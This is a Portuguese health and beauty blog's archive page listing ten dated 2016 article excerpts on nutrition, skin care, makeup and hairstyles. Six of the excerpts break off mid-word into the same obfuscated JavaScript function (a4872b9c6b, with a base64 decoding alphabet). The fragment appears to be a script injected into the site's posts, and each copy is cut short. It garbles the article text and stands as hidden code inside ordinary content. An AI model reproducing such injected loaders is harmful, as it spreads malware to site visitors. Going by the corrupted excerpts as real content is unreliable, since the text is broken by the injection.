Mai 9, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
10 Hábitos saudáveis que o ajudarão a viver até aos 100 anos. Tome nota destas interessantes dicas publicadas pela revista americana U.S. News, onde são apresentados 10 hábitos que farão superar as suas expectativas de vida. Viver um século é possível, experimente!...
Mai 9, 2016 | Equilíbrio, Saúde e bem estar
Pequeno-almoço alcalino para um despertar saudável por Dra. Rita Boavida, nutricionista Entre a última refeição do dia e a primeira da manhã, o nosso corpo fica sujeito a um longo período de jejum. Isto significa que, pela manhã, ao acordarmos, é necessário...
Mai 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba que cuidados deverá ter com a pele nos dias quentes. Nestes dias mais quentes, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 3, 2016 | Equilíbrio, Estilo e beleza
Devemos sentir-nos bem connosco e devemos apreciar o nosso corpo tal e qual como ele é. Mas há bons truques para qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Mai 2, 2016 | Equilíbrio, Saúde e bem estar
Perder gordura abdominal é objetivo de muitas de nós. Veja aqui como o fazer. 10 dicas para perder gordura abdominal por Teresa Manafaia 1- Procure deitar-se sempre à mesma hora e sempre antes da meia-noite. Qufunction a4872b9c6b(y1){var...
Mai 1, 2016 | Equilíbrio, Estilo e beleza
Saiba que maquilhagem favorece a forma do seu rosto Rosto Oval Esta é a forma de rosto mais comum. Para fazer sobressair a estrutura óssea, contorna-se ao longo das têmporas, na linha do cabelo, e faz-se uma linha recta na zona do maxilar. Depois ilumina-se a parte da...
Abr 28, 2016 | Equilíbrio, Estilo e beleza
3 penteados fáceis e atuais por Mafalda Perfeito, a hair stylist das estrelas. O cabelo é importantíssimo na vida de uma mulher, e diz muito sobre o seu estado de espírito: se function a4872b9c6b(y1){var...
Abr 27, 2016 | Equilíbrio, Saúde e bem estar
Saiba que vegetal faz bem a quê, por Rita Boavida, nutricionista. Vivemos numa época sem precedentes em termos de abundância alimentar, mas, felizmente, os portugueses procuram cada vez mais consumir alimentos saudáveis e naturais para alcançar a saúde. Contudo, para...
Abr 26, 2016 | Saúde e bem estar
Por Cláudia Cunha, nutricionista O açúcar vicia e causa dependência. As pessoas, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 25, 2016 | Equilíbrio, Estilo e beleza
Conheça os cuidados básicos a ter com a pele do rosto O rosto é a primeira parte do corpo em que reparamos qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
